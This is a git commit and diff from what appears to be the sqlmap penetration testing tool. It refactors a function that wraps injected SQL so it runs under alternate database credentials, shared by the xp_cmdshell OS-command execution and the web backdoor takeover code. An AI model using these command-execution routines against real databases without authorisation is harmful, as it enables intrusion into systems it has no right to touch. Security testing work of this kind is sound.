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make the runAsDBMSUser() generic and ported to abstraction.py so the same function will be used for PostgreSQL dblink() too

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This commit is contained in:
Bernardo Damele 2012-07-02 02:14:03 +01:00
parent 6697927098
commit add8352804
2 changed files with 17 additions and 17 deletions
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16
lib/takeover/abstraction.py
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@ -16,6 +16,7 @@ from lib.core.data import logger
from lib.core.enums import DBMS
from lib.core.enums import PAYLOAD
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.settings import SQL_STATEMENTS
from lib.core.shell import autoCompletion
from lib.request import inject
from lib.takeover.udf import UDF
@ -37,6 +38,21 @@ class Abstraction(Web, UDF, xp_cmdshell):
Web.__init__(self)
xp_cmdshell.__init__(self)
def runAsDBMSUser(self, query):
if conf.dCred:
for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
for sqlStatement in sqlStatements:
if query.lower().startswith(sqlStatement):
sqlType = sqlTitle
break
if sqlType and "SELECT" not in sqlType:
query = "SELECT 1;%s" % query
query = getSPQLSnippet(DBMS.MSSQL, "run_statement_as_user", USER=conf.dbmsUsername, PASSWORD=conf.dbmsPassword, STATEMENT=query.replace("'", "''"))
return query
def execCmd(self, cmd, silent=False):
if self.webBackdoorUrl and not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
self.webBackdoorRunCmd(cmd)

18
lib/takeover/xp_cmdshell.py
View File

@ -21,7 +21,6 @@ from lib.core.data import logger
from lib.core.enums import DBMS
from lib.core.enums import HASHDB_KEYS
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.settings import SQL_STATEMENTS
from lib.core.threads import getCurrentThreadData
from lib.core.unescaper import unescaper
from lib.request import inject
@ -148,21 +147,6 @@ class xp_cmdshell:
if cmd:
self.xpCmdshellExecCmd(cmd)
def xpCmdshellForgeRunAs(self, query):
if conf.dCred:
for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
for sqlStatement in sqlStatements:
if query.lower().startswith(sqlStatement):
sqlType = sqlTitle
break
if sqlType and "SELECT" not in sqlType:
query = "SELECT 1;%s" % query
query = getSPQLSnippet(DBMS.MSSQL, "run_statement_as_user", USER=conf.dbmsUsername, PASSWORD=conf.dbmsPassword, STATEMENT=query.replace("'", "''"))
return query
def xpCmdshellForgeCmd(self, cmd):
self.__randStr = randomStr(lowercase=True)
self.__cmd = "0x%s" % hexencode(cmd)
@ -170,7 +154,7 @@ class xp_cmdshell:
self.__forgedCmd += "SET @%s=%s;" % (self.__randStr, self.__cmd)
self.__forgedCmd += "EXEC %s @%s" % (self.xpCmdshellStr, self.__randStr)
return self.xpCmdshellForgeRunAs(self.__forgedCmd)
return self.runAsDBMSUser(self.__forgedCmd)
def xpCmdshellExecCmd(self, cmd, silent=False):
cmd = self.xpCmdshellForgeCmd(cmd)